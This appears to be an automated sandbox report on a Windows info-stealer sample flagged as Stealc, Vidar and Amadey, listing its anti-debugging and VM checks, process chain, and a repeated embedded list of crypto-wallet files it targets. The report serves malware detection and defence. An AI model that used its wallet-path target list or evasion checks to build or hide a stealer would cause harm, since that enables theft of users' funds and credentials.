Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000020.00000002.3381194763.0000000000918000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.14.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.14.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.14.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.14.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.14.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareu
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.3382889346.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.14.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000002.2675670278.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(+H
Source: Web Data.14.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2702650292.00000000239D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.14.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 87df69758f.exe.32.dr	Binary or memory string: 3M\|VmcI
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.14.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000002.2702650292.00000000239D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.14.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.14.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.14.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.14.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.14.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.14.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.14.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.14.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2674650378.000000000076B000.00000040.00000001.01000000.00000003.sdmp, DocumentsDAFBGHCAKK.exe, 0000001B.00000002.2749083570.0000000001158000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001C.00000002.2763914839.0000000000918000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000020.00000002.3381194763.0000000000918000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.14.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.14.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsDAFBGHCAKK.exe

Code function: 27_2_05880C1E rdtsc

27_2_05880C1E

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB5AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CB5AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0076652B mov eax, dword ptr fs:[00000030h]		32_2_0076652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0076A302 mov eax, dword ptr fs:[00000030h]		32_2_0076A302

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB5AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CB5AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7376, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDAFBGHCAKK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDAFBGHCAKK.exe "C:\Users\user\DocumentsDAFBGHCAKK.exe"
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBA4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CBA4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA81C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CA81C30

Source: file.exe, file.exe, 00000000.00000002.2674650378.000000000076B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB5AE71 cpuid

0_2_6CB5AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB5A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CB5A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_007365E0 LookupAccountNameA,

32_2_007365E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAA8390 NSS_GetVersion,

0_2_6CAA8390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.skotes.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.DocumentsDAFBGHCAKK.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2748959245.0000000000F71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2720762041.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2661931956.0000000005670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3263969686.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3380923126.0000000000731000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2763804157.0000000000731000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2162453737.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2674146425.0000000000391000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7376, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RCIIZOAMem.exe\AppData\Roaming\\Electrum-LTC\wallets\\..*
Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2674146425.0000000000414000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
